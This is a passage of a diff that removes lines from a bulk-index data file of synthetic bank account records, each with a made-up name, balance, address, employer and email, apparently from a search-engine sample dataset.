-{"account_number":245,"balance":22026,"firstname":"Fran","lastname":"Bolton","age":28,"gender":"F","address":"147 Jerome Street","employer":"Solaren","email":"franbolton@solaren.com","city":"Nash","state":"RI"}
-{"index":{"_id":"252"}}
-{"account_number":252,"balance":18831,"firstname":"Elvia","lastname":"Poole","age":22,"gender":"F","address":"836 Delevan Street","employer":"Velity","email":"elviapoole@velity.com","city":"Groveville","state":"MI"}
-{"index":{"_id":"257"}}
-{"account_number":257,"balance":5318,"firstname":"Olive","lastname":"Oneil","age":35,"gender":"F","address":"457 Decatur Street","employer":"Helixo","email":"oliveoneil@helixo.com","city":"Chicopee","state":"MI"}
-{"index":{"_id":"264"}}
-{"account_number":264,"balance":22084,"firstname":"Samantha","lastname":"Ferrell","age":35,"gender":"F","address":"488 Fulton Street","employer":"Flum","email":"samanthaferrell@flum.com","city":"Brandywine","state":"MT"}
-{"index":{"_id":"269"}}
-{"account_number":269,"balance":43317,"firstname":"Crosby","lastname":"Figueroa","age":34,"gender":"M","address":"910 Aurelia Court","employer":"Pyramia","email":"crosbyfigueroa@pyramia.com","city":"Leyner","state":"OH"}
-{"index":{"_id":"271"}}
-{"account_number":271,"balance":11864,"firstname":"Holt","lastname":"Walter","age":30,"gender":"F","address":"645 Poplar Avenue","employer":"Grupoli","email":"holtwalter@grupoli.com","city":"Mansfield","state":"OR"}
-{"index":{"_id":"276"}}
-{"account_number":276,"balance":11606,"firstname":"Pittman","lastname":"Mathis","age":23,"gender":"F","address":"567 Charles Place","employer":"Zuvy","email":"pittmanmathis@zuvy.com","city":"Roeville","state":"KY"}
-{"index":{"_id":"283"}}
-{"account_number":283,"balance":24070,"firstname":"Fuentes","lastname":"Foley","age":30,"gender":"M","address":"729 Walker Court","employer":"Knowlysis","email":"fuentesfoley@knowlysis.com","city":"Tryon","state":"TN"}
-{"index":{"_id":"288"}}
-{"account_number":288,"balance":27243,"firstname":"Wong","lastname":"Stone","age":39,"gender":"F","address":"440 Willoughby Street","employer":"Zentix","email":"wongstone@zentix.com","city":"Wheatfields","state":"DC"}
-{"index":{"_id":"290"}}
-{"account_number":290,"balance":26103,"firstname":"Neva","lastname":"Burgess","age":37,"gender":"F","address":"985 Wyona Street","employer":"Slofast","email":"nevaburgess@slofast.com","city":"Cawood","state":"DC"}
-{"index":{"_id":"295"}}
-{"account_number":295,"balance":37358,"firstname":"Howe","lastname":"Nash","age":20,"gender":"M","address":"833 Union Avenue","employer":"Aquacine","email":"howenash@aquacine.com","city":"Indio","state":"MN"}
-{"index":{"_id":"303"}}
-{"account_number":303,"balance":21976,"firstname":"Huffman","lastname":"Green","age":24,"gender":"F","address":"455 Colby Court","employer":"Comtest","email":"huffmangreen@comtest.com","city":"Weeksville","state":"UT"}
-{"index":{"_id":"308"}}
-{"account_number":308,"balance":33989,"firstname":"Glass","lastname":"Schroeder","age":25,"gender":"F","address":"670 Veterans Avenue","employer":"Realmo","email":"glassschroeder@realmo.com","city":"Gratton","state":"NY"}
-{"index":{"_id":"310"}}
-{"account_number":310,"balance":23049,"firstname":"Shannon","lastname":"Morton","age":39,"gender":"F","address":"412 Pleasant Place","employer":"Ovation","email":"shannonmorton@ovation.com","city":"Edgar","state":"AZ"}
-{"index":{"_id":"315"}}
-{"account_number":315,"balance":1314,"firstname":"Clare","lastname":"Morrow","age":33,"gender":"F","address":"728 Madeline Court","employer":"Gaptec","email":"claremorrow@gaptec.com","city":"Mapletown","state":"PA"}
-{"index":{"_id":"322"}}
-{"account_number":322,"balance":6303,"firstname":"Gilliam","lastname":"Horne","age":27,"gender":"M","address":"414 Florence Avenue","employer":"Shepard","email":"gilliamhorne@shepard.com","city":"Winesburg","state":"WY"}
-{"index":{"_id":"327"}}
-{"account_number":327,"balance":29294,"firstname":"Nell","lastname":"Contreras","age":27,"gender":"M","address":"694 Gold Street","employer":"Momentia","email":"nellcontreras@momentia.com","city":"Cumminsville","state":"AL"}
-{"index":{"_id":"334"}}
-{"account_number":334,"balance":9178,"firstname":"Cross","lastname":"Floyd","age":21,"gender":"F","address":"815 Herkimer Court","employer":"Maroptic","email":"crossfloyd@maroptic.com","city":"Kraemer","state":"AK"}
-{"index":{"_id":"339"}}
-{"account_number":339,"balance":3992,"firstname":"Franco","lastname":"Welch","age":38,"gender":"F","address":"776 Brightwater Court","employer":"Earthplex","email":"francowelch@earthplex.com","city":"Naomi","state":"ME"}
-{"index":{"_id":"341"}}
-{"account_number":341,"balance":44367,"firstname":"Alberta","lastname":"Bradford","age":30,"gender":"F","address":"670 Grant Avenue","employer":"Bugsall","email":"albertabradford@bugsall.com","city":"Romeville","state":"MT"}
-{"index":{"_id":"346"}}
-{"account_number":346,"balance":26594,"firstname":"Shelby","lastname":"Sanchez","age":36,"gender":"F","address":"257 Fillmore Avenue","employer":"Geekus","email":"shelbysanchez@geekus.com","city":"Seymour","state":"CO"}
-{"index":{"_id":"353"}}
-{"account_number":353,"balance":45182,"firstname":"Rivera","lastname":"Sherman","age":37,"gender":"M","address":"603 Garden Place","employer":"Bovis","email":"riverasherman@bovis.com","city":"Otranto","state":"CA"}
-{"index":{"_id":"358"}}
-{"account_number":358,"balance":44043,"firstname":"Hale","lastname":"Baldwin","age":40,"gender":"F","address":"845 Menahan Street","employer":"Kidgrease","email":"halebaldwin@kidgrease.com","city":"Day","state":"AK"}
-{"index":{"_id":"360"}}
-{"account_number":360,"balance":26651,"firstname":"Ward","lastname":"Hicks","age":34,"gender":"F","address":"592 Brighton Court","employer":"Biotica","email":"wardhicks@biotica.com","city":"Kanauga","state":"VT"}
-{"index":{"_id":"365"}}
-{"account_number":365,"balance":3176,"firstname":"Sanders","lastname":"Holder","age":31,"gender":"F","address":"453 Cypress Court","employer":"Geekola","email":"sandersholder@geekola.com","city":"Staples","state":"TN"}
-{"index":{"_id":"372"}}
-{"account_number":372,"balance":28566,"firstname":"Alba","lastname":"Forbes","age":24,"gender":"M","address":"814 Meserole Avenue","employer":"Isostream","email":"albaforbes@isostream.com","city":"Clarence","state":"OR"}
-{"index":{"_id":"377"}}
-{"account_number":377,"balance":5374,"firstname":"Margo","lastname":"Gay","age":34,"gender":"F","address":"613 Chase Court","employer":"Rotodyne","email":"margogay@rotodyne.com","city":"Waumandee","state":"KS"}
-{"index":{"_id":"384"}}
-{"account_number":384,"balance":48758,"firstname":"Sallie","lastname":"Houston","age":31,"gender":"F","address":"836 Polar Street","employer":"Squish","email":"salliehouston@squish.com","city":"Morningside","state":"NC"}
-{"index":{"_id":"389"}}
-{"account_number":389,"balance":8839,"firstname":"York","lastname":"Cummings","age":27,"gender":"M","address":"778 Centre Street","employer":"Insurity","email":"yorkcummings@insurity.com","city":"Freeburn","state":"RI"}
-{"index":{"_id":"391"}}
-{"account_number":391,"balance":14733,"firstname":"Holman","lastname":"Jordan","age":30,"gender":"M","address":"391 Forrest Street","employer":"Maineland","email":"holmanjordan@maineland.com","city":"Cade","state":"CT"}
-{"index":{"_id":"396"}}
-{"account_number":396,"balance":14613,"firstname":"Marsha","lastname":"Elliott","age":38,"gender":"F","address":"297 Liberty Avenue","employer":"Orbiflex","email":"marshaelliott@orbiflex.com","city":"Windsor","state":"TX"}
-{"index":{"_id":"404"}}
-{"account_number":404,"balance":34978,"firstname":"Massey","lastname":"Becker","age":26,"gender":"F","address":"930 Pitkin Avenue","employer":"Genekom","email":"masseybecker@genekom.com","city":"Blairstown","state":"OR"}
-{"index":{"_id":"409"}}
-{"account_number":409,"balance":36960,"firstname":"Maura","lastname":"Glenn","age":31,"gender":"M","address":"183 Poly Place","employer":"Viagreat","email":"mauraglenn@viagreat.com","city":"Foscoe","state":"DE"}
-{"index":{"_id":"411"}}
-{"account_number":411,"balance":1172,"firstname":"Guzman","lastname":"Whitfield","age":22,"gender":"M","address":"181 Perry Terrace","employer":"Springbee","email":"guzmanwhitfield@springbee.com","city":"Balm","state":"IN"}
-{"index":{"_id":"416"}}
-{"account_number":416,"balance":27169,"firstname":"Hunt","lastname":"Schwartz","age":28,"gender":"F","address":"461 Havens Place","employer":"Danja","email":"huntschwartz@danja.com","city":"Grenelefe","state":"NV"}
-{"index":{"_id":"423"}}
-{"account_number":423,"balance":38852,"firstname":"Hines","lastname":"Underwood","age":21,"gender":"F","address":"284 Louise Terrace","employer":"Namegen","email":"hinesunderwood@namegen.com","city":"Downsville","state":"CO"}
-{"index":{"_id":"428"}}
-{"account_number":428,"balance":13925,"firstname":"Stephens","lastname":"Cain","age":20,"gender":"F","address":"189 Summit Street","employer":"Rocklogic","email":"stephenscain@rocklogic.com","city":"Bourg","state":"HI"}
-{"index":{"_id":"430"}}
-{"account_number":430,"balance":15251,"firstname":"Alejandra","lastname":"Chavez","age":34,"gender":"M","address":"651 Butler Place","employer":"Gology","email":"alejandrachavez@gology.com","city":"Allensworth","state":"VT"}
-{"index":{"_id":"435"}}
-{"account_number":435,"balance":14654,"firstname":"Sue","lastname":"Lopez","age":22,"gender":"F","address":"632 Stone Avenue","employer":"Emergent","email":"suelopez@emergent.com","city":"Waterford","state":"TN"}
-{"index":{"_id":"442"}}
-{"account_number":442,"balance":36211,"firstname":"Lawanda","lastname":"Leon","age":27,"gender":"F","address":"126 Canal Avenue","employer":"Xixan","email":"lawandaleon@xixan.com","city":"Berwind","state":"TN"}
-{"index":{"_id":"447"}}
-{"account_number":447,"balance":11402,"firstname":"Lucia","lastname":"Livingston","age":35,"gender":"M","address":"773 Lake Avenue","employer":"Soprano","email":"lucialivingston@soprano.com","city":"Edgewater","state":"TN"}
-{"index":{"_id":"454"}}
-{"account_number":454,"balance":31687,"firstname":"Alicia","lastname":"Rollins","age":22,"gender":"F","address":"483 Verona Place","employer":"Boilcat","email":"aliciarollins@boilcat.com","city":"Lutsen","state":"MD"}
-{"index":{"_id":"459"}}
-{"account_number":459,"balance":18869,"firstname":"Pamela","lastname":"Henry","age":20,"gender":"F","address":"361 Locust Avenue","employer":"Imageflow","email":"pamelahenry@imageflow.com","city":"Greenfields","state":"OH"}
-{"index":{"_id":"461"}}
-{"account_number":461,"balance":38807,"firstname":"Mcbride","lastname":"Padilla","age":34,"gender":"F","address":"550 Borinquen Pl","employer":"Zepitope","email":"mcbridepadilla@zepitope.com","city":"Emory","state":"AZ"}
-{"index":{"_id":"466"}}
-{"account_number":466,"balance":25109,"firstname":"Marcie","lastname":"Mcmillan","age":30,"gender":"F","address":"947 Gain Court","employer":"Entroflex","email":"marciemcmillan@entroflex.com","city":"Ronco","state":"ND"}
-{"index":{"_id":"473"}}
-{"account_number":473,"balance":5391,"firstname":"Susan","lastname":"Luna","age":25,"gender":"F","address":"521 Bogart Street","employer":"Zaya","email":"susanluna@zaya.com","city":"Grazierville","state":"MI"}
-{"index":{"_id":"478"}}
-{"account_number":478,"balance":28044,"firstname":"Dana","lastname":"Decker","age":35,"gender":"M","address":"627 Dobbin Street","employer":"Acrodance","email":"danadecker@acrodance.com","city":"Sharon","state":"MN"}
-{"index":{"_id":"480"}}
-{"account_number":480,"balance":40807,"firstname":"Anastasia","lastname":"Parker","age":24,"gender":"M","address":"650 Folsom Place","employer":"Zilladyne","email":"anastasiaparker@zilladyne.com","city":"Oberlin","state":"WY"}
-{"index":{"_id":"485"}}
-{"account_number":485,"balance":44235,"firstname":"Albert","lastname":"Roberts","age":40,"gender":"M","address":"385 Harman Street","employer":"Stralum","email":"albertroberts@stralum.com","city":"Watrous","state":"NM"}
-{"index":{"_id":"492"}}
-{"account_number":492,"balance":31055,"firstname":"Burnett","lastname":"Briggs","age":35,"gender":"M","address":"987 Cass Place","employer":"Pharmex","email":"burnettbriggs@pharmex.com","city":"Cornfields","state":"TX"}
-{"index":{"_id":"497"}}
-{"account_number":497,"balance":13493,"firstname":"Doyle","lastname":"Jenkins","age":30,"gender":"M","address":"205 Nevins Street","employer":"Unia","email":"doylejenkins@unia.com","city":"Nicut","state":"DC"}
-{"index":{"_id":"500"}}
-{"account_number":500,"balance":39143,"firstname":"Pope","lastname":"Keith","age":28,"gender":"F","address":"537 Fane Court","employer":"Zboo","email":"popekeith@zboo.com","city":"Courtland","state":"AL"}
-{"index":{"_id":"505"}}
-{"account_number":505,"balance":45493,"firstname":"Shelley","lastname":"Webb","age":29,"gender":"M","address":"873 Crawford Avenue","employer":"Quadeebo","email":"shelleywebb@quadeebo.com","city":"Topanga","state":"IL"}
-{"index":{"_id":"512"}}
-{"account_number":512,"balance":47432,"firstname":"Alisha","lastname":"Morales","age":29,"gender":"M","address":"623 Batchelder Street","employer":"Terragen","email":"alishamorales@terragen.com","city":"Gilmore","state":"VA"}
-{"index":{"_id":"517"}}
-{"account_number":517,"balance":3022,"firstname":"Allyson","lastname":"Walls","age":38,"gender":"F","address":"334 Coffey Street","employer":"Gorganic","email":"allysonwalls@gorganic.com","city":"Dahlen","state":"GA"}
-{"index":{"_id":"524"}}
-{"account_number":524,"balance":49334,"firstname":"Salas","lastname":"Farley","age":30,"gender":"F","address":"499 Trucklemans Lane","employer":"Xumonk","email":"salasfarley@xumonk.com","city":"Noxen","state":"AL"}
-{"index":{"_id":"529"}}
-{"account_number":529,"balance":21788,"firstname":"Deann","lastname":"Fisher","age":23,"gender":"F","address":"511 Buffalo Avenue","employer":"Twiist","email":"deannfisher@twiist.com","city":"Templeton","state":"WA"}
-{"index":{"_id":"531"}}
-{"account_number":531,"balance":39770,"firstname":"Janet","lastname":"Pena","age":38,"gender":"M","address":"645 Livonia Avenue","employer":"Corecom","email":"janetpena@corecom.com","city":"Garberville","state":"OK"}
-{"index":{"_id":"536"}}
-{"account_number":536,"balance":6255,"firstname":"Emma","lastname":"Adkins","age":33,"gender":"F","address":"971 Calder Place","employer":"Ontagene","email":"emmaadkins@ontagene.com","city":"Ruckersville","state":"GA"}
-{"index":{"_id":"543"}}
-{"account_number":543,"balance":48022,"firstname":"Marina","lastname":"Rasmussen","age":31,"gender":"M","address":"446 Love Lane","employer":"Crustatia","email":"marinarasmussen@crustatia.com","city":"Statenville","state":"MD"}
-{"index":{"_id":"548"}}
-{"account_number":548,"balance":36930,"firstname":"Sandra","lastname":"Andrews","age":37,"gender":"M","address":"973 Prospect Street","employer":"Datagene","email":"sandraandrews@datagene.com","city":"Inkerman","state":"MO"}
-{"index":{"_id":"550"}}
-{"account_number":550,"balance":32238,"firstname":"Walsh","lastname":"Goodwin","age":22,"gender":"M","address":"953 Canda Avenue","employer":"Proflex","email":"walshgoodwin@proflex.com","city":"Ypsilanti","state":"MT"}
-{"index":{"_id":"555"}}
-{"account_number":555,"balance":10750,"firstname":"Fannie","lastname":"Slater","age":31,"gender":"M","address":"457 Tech Place","employer":"Kineticut","email":"fannieslater@kineticut.com","city":"Basye","state":"MO"}
-{"index":{"_id":"562"}}
-{"account_number":562,"balance":10737,"firstname":"Sarah","lastname":"Strong","age":39,"gender":"F","address":"177 Pioneer Street","employer":"Megall","email":"sarahstrong@megall.com","city":"Ladera","state":"WY"}
-{"index":{"_id":"567"}}
-{"account_number":567,"balance":6507,"firstname":"Diana","lastname":"Dominguez","age":40,"gender":"M","address":"419 Albany Avenue","employer":"Ohmnet","email":"dianadominguez@ohmnet.com","city":"Wildwood","state":"TX"}
-{"index":{"_id":"574"}}
-{"account_number":574,"balance":32954,"firstname":"Andrea","lastname":"Mosley","age":24,"gender":"M","address":"368 Throop Avenue","employer":"Musix","email":"andreamosley@musix.com","city":"Blende","state":"DC"}
-{"index":{"_id":"579"}}
-{"account_number":579,"balance":12044,"firstname":"Banks","lastname":"Sawyer","age":36,"gender":"M","address":"652 Doone Court","employer":"Rooforia","email":"bankssawyer@rooforia.com","city":"Foxworth","state":"ND"}
-{"index":{"_id":"581"}}
-{"account_number":581,"balance":16525,"firstname":"Fuller","lastname":"Mcintyre","age":32,"gender":"M","address":"169 Bergen Place","employer":"Applideck","email":"fullermcintyre@applideck.com","city":"Kenvil","state":"NY"}
-{"index":{"_id":"586"}}
-{"account_number":586,"balance":13644,"firstname":"Love","lastname":"Velasquez","age":26,"gender":"F","address":"290 Girard Street","employer":"Zomboid","email":"lovevelasquez@zomboid.com","city":"Villarreal","state":"SD"}
-{"index":{"_id":"593"}}
-{"account_number":593,"balance":41230,"firstname":"Muriel","lastname":"Vazquez","age":37,"gender":"M","address":"395 Montgomery Street","employer":"Sustenza","email":"murielvazquez@sustenza.com","city":"Strykersville","state":"OK"}
-{"index":{"_id":"598"}}
-{"account_number":598,"balance":33251,"firstname":"Morgan","lastname":"Coleman","age":33,"gender":"M","address":"324 McClancy Place","employer":"Aclima","email":"morgancoleman@aclima.com","city":"Bowden","state":"WA"}
-{"index":{"_id":"601"}}
-{"account_number":601,"balance":20796,"firstname":"Vickie","lastname":"Valentine","age":34,"gender":"F","address":"432 Bassett Avenue","employer":"Comvene","email":"vickievalentine@comvene.com","city":"Teasdale","state":"UT"}
-{"index":{"_id":"606"}}
-{"account_number":606,"balance":28770,"firstname":"Michael","lastname":"Bray","age":31,"gender":"M","address":"935 Lake Place","employer":"Telepark","email":"michaelbray@telepark.com","city":"Lemoyne","state":"CT"}
-{"index":{"_id":"613"}}
-{"account_number":613,"balance":39340,"firstname":"Eddie","lastname":"Mccarty","age":34,"gender":"F","address":"971 Richards Street","employer":"Bisba","email":"eddiemccarty@bisba.com","city":"Fruitdale","state":"NY"}
-{"index":{"_id":"618"}}
-{"account_number":618,"balance":8976,"firstname":"Cheri","lastname":"Ford","age":30,"gender":"F","address":"803 Ridgewood Avenue","employer":"Zorromop","email":"cheriford@zorromop.com","city":"Gambrills","state":"VT"}
-{"index":{"_id":"620"}}
-{"account_number":620,"balance":7224,"firstname":"Coleen","lastname":"Bartlett","age":38,"gender":"M","address":"761 Carroll Street","employer":"Idealis","email":"coleenbartlett@idealis.com","city":"Mathews","state":"DE"}
-{"index":{"_id":"625"}}
-{"account_number":625,"balance":46010,"firstname":"Cynthia","lastname":"Johnston","age":23,"gender":"M","address":"142 Box Street","employer":"Zentry","email":"cynthiajohnston@zentry.com","city":"Makena","state":"MA"}
-{"index":{"_id":"632"}}
-{"account_number":632,"balance":40470,"firstname":"Kay","lastname":"Warren","age":20,"gender":"F","address":"422 Alabama Avenue","employer":"Realysis","email":"kaywarren@realysis.com","city":"Homestead","state":"HI"}
-{"index":{"_id":"637"}}
-{"account_number":637,"balance":3169,"firstname":"Kathy","lastname":"Carter","age":27,"gender":"F","address":"410 Jamison Lane","employer":"Limage","email":"kathycarter@limage.com","city":"Ernstville","state":"WA"}
-{"index":{"_id":"644"}}
-{"account_number":644,"balance":44021,"firstname":"Etta","lastname":"Miller","age":21,"gender":"F","address":"376 Lawton Street","employer":"Bluegrain","email":"ettamiller@bluegrain.com","city":"Baker","state":"MD"}
-{"index":{"_id":"649"}}
-{"account_number":649,"balance":20275,"firstname":"Jeanine","lastname":"Malone","age":26,"gender":"F","address":"114 Dodworth Street","employer":"Nixelt","email":"jeaninemalone@nixelt.com","city":"Keyport","state":"AK"}
-{"index":{"_id":"651"}}
-{"account_number":651,"balance":18360,"firstname":"Young","lastname":"Reeves","age":34,"gender":"M","address":"581 Plaza Street","employer":"Krog","email":"youngreeves@krog.com","city":"Sussex","state":"WY"}
-{"index":{"_id":"656"}}
-{"account_number":656,"balance":21632,"firstname":"Olson","lastname":"Hunt","age":36,"gender":"M","address":"342 Jaffray Street","employer":"Volax","email":"olsonhunt@volax.com","city":"Bangor","state":"WA"}
-{"index":{"_id":"663"}}
-{"account_number":663,"balance":2456,"firstname":"Rollins","lastname":"Richards","age":37,"gender":"M","address":"129 Sullivan Place","employer":"Geostele","email":"rollinsrichards@geostele.com","city":"Morgandale","state":"FL"}
-{"index":{"_id":"668"}}
-{"account_number":668,"balance":45069,"firstname":"Potter","lastname":"Michael","age":27,"gender":"M","address":"803 Glenmore Avenue","employer":"Ontality","email":"pottermichael@ontality.com","city":"Newkirk","state":"KS"}
-{"index":{"_id":"670"}}
-{"account_number":670,"balance":10178,"firstname":"Ollie","lastname":"Riley","age":22,"gender":"M","address":"252 Jackson Place","employer":"Adornica","email":"ollieriley@adornica.com","city":"Brethren","state":"WI"}
-{"index":{"_id":"675"}}
-{"account_number":675,"balance":36102,"firstname":"Fisher","lastname":"Shepard","age":27,"gender":"F","address":"859 Varick Street","employer":"Qot","email":"fishershepard@qot.com","city":"Diaperville","state":"MD"}
-{"index":{"_id":"682"}}
-{"account_number":682,"balance":14168,"firstname":"Anne","lastname":"Hale","age":22,"gender":"F","address":"708 Anthony Street","employer":"Cytrek","email":"annehale@cytrek.com","city":"Beechmont","state":"WV"}
-{"index":{"_id":"687"}}
-{"account_number":687,"balance":48630,"firstname":"Caroline","lastname":"Cox","age":31,"gender":"M","address":"626 Hillel Place","employer":"Opticon","email":"carolinecox@opticon.com","city":"Loma","state":"ND"}
-{"index":{"_id":"694"}}
-{"account_number":694,"balance":33125,"firstname":"Craig","lastname":"Palmer","age":31,"gender":"F","address":"273 Montrose Avenue","employer":"Comvey","email":"craigpalmer@comvey.com","city":"Cleary","state":"OK"}
-{"index":{"_id":"699"}}
-{"account_number":699,"balance":4156,"firstname":"Gallagher","lastname":"Marshall","age":37,"gender":"F","address":"648 Clifford Place","employer":"Exiand","email":"gallaghermarshall@exiand.com","city":"Belfair","state":"KY"}
-{"index":{"_id":"702"}}
-{"account_number":702,"balance":46490,"firstname":"Meadows","lastname":"Delgado","age":26,"gender":"M","address":"612 Jardine Place","employer":"Daisu","email":"meadowsdelgado@daisu.com","city":"Venice","state":"AR"}
-{"index":{"_id":"707"}}
-{"account_number":707,"balance":30325,"firstname":"Sonya","lastname":"Trevino","age":30,"gender":"F","address":"181 Irving Place","employer":"Atgen","email":"sonyatrevino@atgen.com","city":"Enetai","state":"TN"}
-{"index":{"_id":"714"}}
-{"account_number":714,"balance":16602,"firstname":"Socorro","lastname":"Murray","age":34,"gender":"F","address":"810 Manhattan Court","employer":"Isoswitch","email":"socorromurray@isoswitch.com","city":"Jugtown","state":"AZ"}
-{"index":{"_id":"719"}}
-{"account_number":719,"balance":33107,"firstname":"Leanna","lastname":"Reed","age":25,"gender":"F","address":"528 Krier Place","employer":"Rodeology","email":"leannareed@rodeology.com","city":"Carrizo","state":"WI"}
-{"index":{"_id":"721"}}
-{"account_number":721,"balance":32958,"firstname":"Mara","lastname":"Dickson","age":26,"gender":"M","address":"810 Harrison Avenue","employer":"Comtours","email":"maradickson@comtours.com","city":"Thynedale","state":"DE"}
-{"index":{"_id":"726"}}
-{"account_number":726,"balance":44737,"firstname":"Rosemary","lastname":"Salazar","age":21,"gender":"M","address":"290 Croton Loop","employer":"Rockabye","email":"rosemarysalazar@rockabye.com","city":"Helen","state":"IA"}
-{"index":{"_id":"733"}}
-{"account_number":733,"balance":15722,"firstname":"Lakeisha","lastname":"Mccarthy","age":37,"gender":"M","address":"782 Turnbull Avenue","employer":"Exosis","email":"lakeishamccarthy@exosis.com","city":"Caberfae","state":"NM"}
-{"index":{"_id":"738"}}
-{"account_number":738,"balance":44936,"firstname":"Rosalind","lastname":"Hunter","age":32,"gender":"M","address":"644 Eaton Court","employer":"Zolarity","email":"rosalindhunter@zolarity.com","city":"Cataract","state":"SD"}
-{"index":{"_id":"740"}}
-{"account_number":740,"balance":6143,"firstname":"Chambers","lastname":"Hahn","age":22,"gender":"M","address":"937 Windsor Place","employer":"Medalert","email":"chambershahn@medalert.com","city":"Dorneyville","state":"DC"}
-{"index":{"_id":"745"}}
-{"account_number":745,"balance":4572,"firstname":"Jacobs","lastname":"Sweeney","age":32,"gender":"M","address":"189 Lott Place","employer":"Comtent","email":"jacobssweeney@comtent.com","city":"Advance","state":"NJ"}
-{"index":{"_id":"752"}}
-{"account_number":752,"balance":14039,"firstname":"Jerry","lastname":"Rush","age":31,"gender":"M","address":"632 Dank Court","employer":"Ebidco","email":"jerryrush@ebidco.com","city":"Geyserville","state":"AR"}
-{"index":{"_id":"757"}}
-{"account_number":757,"balance":34628,"firstname":"Mccullough","lastname":"Moore","age":30,"gender":"F","address":"304 Hastings Street","employer":"Nikuda","email":"mcculloughmoore@nikuda.com","city":"Charco","state":"DC"}
-{"index":{"_id":"764"}}
-{"account_number":764,"balance":3728,"firstname":"Noemi","lastname":"Gill","age":30,"gender":"M","address":"427 Chester Street","employer":"Avit","email":"noemigill@avit.com","city":"Chesterfield","state":"AL"}
-{"index":{"_id":"769"}}
-{"account_number":769,"balance":15362,"firstname":"Francis","lastname":"Beck","age":28,"gender":"M","address":"454 Livingston Street","employer":"Furnafix","email":"francisbeck@furnafix.com","city":"Dunnavant","state":"HI"}
-{"index":{"_id":"771"}}
-{"account_number":771,"balance":32784,"firstname":"Jocelyn","lastname":"Boone","age":23,"gender":"M","address":"513 Division Avenue","employer":"Collaire","email":"jocelynboone@collaire.com","city":"Lisco","state":"VT"}
-{"index":{"_id":"776"}}
-{"account_number":776,"balance":29177,"firstname":"Duke","lastname":"Atkinson","age":24,"gender":"M","address":"520 Doscher Street","employer":"Tripsch","email":"dukeatkinson@tripsch.com","city":"Lafferty","state":"NC"}
-{"index":{"_id":"783"}}
-{"account_number":783,"balance":11911,"firstname":"Faith","lastname":"Cooper","age":25,"gender":"F","address":"539 Rapelye Street","employer":"Insuron","email":"faithcooper@insuron.com","city":"Jennings","state":"MN"}
-{"index":{"_id":"788"}}
-{"account_number":788,"balance":12473,"firstname":"Marianne","lastname":"Aguilar","age":39,"gender":"F","address":"213 Holly Street","employer":"Marqet","email":"marianneaguilar@marqet.com","city":"Alfarata","state":"HI"}
-{"index":{"_id":"790"}}
-{"account_number":790,"balance":29912,"firstname":"Ellis","lastname":"Sullivan","age":39,"gender":"F","address":"877 Coyle Street","employer":"Enersave","email":"ellissullivan@enersave.com","city":"Canby","state":"MS"}
-{"index":{"_id":"795"}}
-{"account_number":795,"balance":31450,"firstname":"Bruce","lastname":"Avila","age":34,"gender":"M","address":"865 Newkirk Placez","employer":"Plasmosis","email":"bruceavila@plasmosis.com","city":"Ada","state":"ID"}
-{"index":{"_id":"803"}}
-{"account_number":803,"balance":49567,"firstname":"Marissa","lastname":"Spears","age":25,"gender":"M","address":"963 Highland Avenue","employer":"Centregy","email":"marissaspears@centregy.com","city":"Bloomington","state":"MS"}
-{"index":{"_id":"808"}}
-{"account_number":808,"balance":11251,"firstname":"Nola","lastname":"Quinn","age":20,"gender":"M","address":"863 Wythe Place","employer":"Iplax","email":"nolaquinn@iplax.com","city":"Cuylerville","state":"NH"}
-{"index":{"_id":"810"}}
-{"account_number":810,"balance":10563,"firstname":"Alyssa","lastname":"Ortega","age":40,"gender":"M","address":"977 Clymer Street","employer":"Eventage","email":"alyssaortega@eventage.com","city":"Convent","state":"SC"}
-{"index":{"_id":"815"}}
-{"account_number":815,"balance":19336,"firstname":"Guthrie","lastname":"Morse","age":30,"gender":"M","address":"685 Vandalia Avenue","employer":"Gronk","email":"guthriemorse@gronk.com","city":"Fowlerville","state":"OR"}
-{"index":{"_id":"822"}}
-{"account_number":822,"balance":13024,"firstname":"Hicks","lastname":"Farrell","age":25,"gender":"M","address":"468 Middleton Street","employer":"Zolarex","email":"hicksfarrell@zolarex.com","city":"Columbus","state":"OR"}
-{"index":{"_id":"827"}}
-{"account_number":827,"balance":37536,"firstname":"Naomi","lastname":"Ball","age":29,"gender":"F","address":"319 Stewart Street","employer":"Isotronic","email":"naomiball@isotronic.com","city":"Trona","state":"NM"}
-{"index":{"_id":"834"}}
-{"account_number":834,"balance":38049,"firstname":"Sybil","lastname":"Carrillo","age":25,"gender":"M","address":"359 Baughman Place","employer":"Phuel","email":"sybilcarrillo@phuel.com","city":"Kohatk","state":"CT"}
-{"index":{"_id":"839"}}
-{"account_number":839,"balance":38292,"firstname":"Langley","lastname":"Neal","age":39,"gender":"F","address":"565 Newton Street","employer":"Liquidoc","email":"langleyneal@liquidoc.com","city":"Osage","state":"AL"}
-{"index":{"_id":"841"}}
-{"account_number":841,"balance":28291,"firstname":"Dalton","lastname":"Waters","age":21,"gender":"M","address":"859 Grand Street","employer":"Malathion","email":"daltonwaters@malathion.com","city":"Tonopah","state":"AZ"}
-{"index":{"_id":"846"}}
-{"account_number":846,"balance":35099,"firstname":"Maureen","lastname":"Glass","age":22,"gender":"M","address":"140 Amherst Street","employer":"Stelaecor","email":"maureenglass@stelaecor.com","city":"Cucumber","state":"IL"}
-{"index":{"_id":"853"}}
-{"account_number":853,"balance":38353,"firstname":"Travis","lastname":"Parks","age":40,"gender":"M","address":"930 Bay Avenue","employer":"Pyramax","email":"travisparks@pyramax.com","city":"Gadsden","state":"ND"}
-{"index":{"_id":"858"}}
-{"account_number":858,"balance":23194,"firstname":"Small","lastname":"Hatfield","age":36,"gender":"M","address":"593 Tennis Court","employer":"Letpro","email":"smallhatfield@letpro.com","city":"Haena","state":"KS"}
-{"index":{"_id":"860"}}
-{"account_number":860,"balance":23613,"firstname":"Clark","lastname":"Boyd","age":37,"gender":"M","address":"501 Rock Street","employer":"Deepends","email":"clarkboyd@deepends.com","city":"Whitewater","state":"MA"}
-{"index":{"_id":"865"}}
-{"account_number":865,"balance":10574,"firstname":"Cook","lastname":"Kelley","age":28,"gender":"F","address":"865 Lincoln Terrace","employer":"Quizmo","email":"cookkelley@quizmo.com","city":"Kansas","state":"KY"}
-{"index":{"_id":"872"}}
-{"account_number":872,"balance":26314,"firstname":"Jane","lastname":"Greer","age":36,"gender":"F","address":"717 Hewes Street","employer":"Newcube","email":"janegreer@newcube.com","city":"Delshire","state":"DE"}
-{"index":{"_id":"877"}}
-{"account_number":877,"balance":42879,"firstname":"Tracey","lastname":"Ruiz","age":34,"gender":"F","address":"141 Tompkins Avenue","employer":"Waab","email":"traceyruiz@waab.com","city":"Zeba","state":"NM"}
-{"index":{"_id":"884"}}
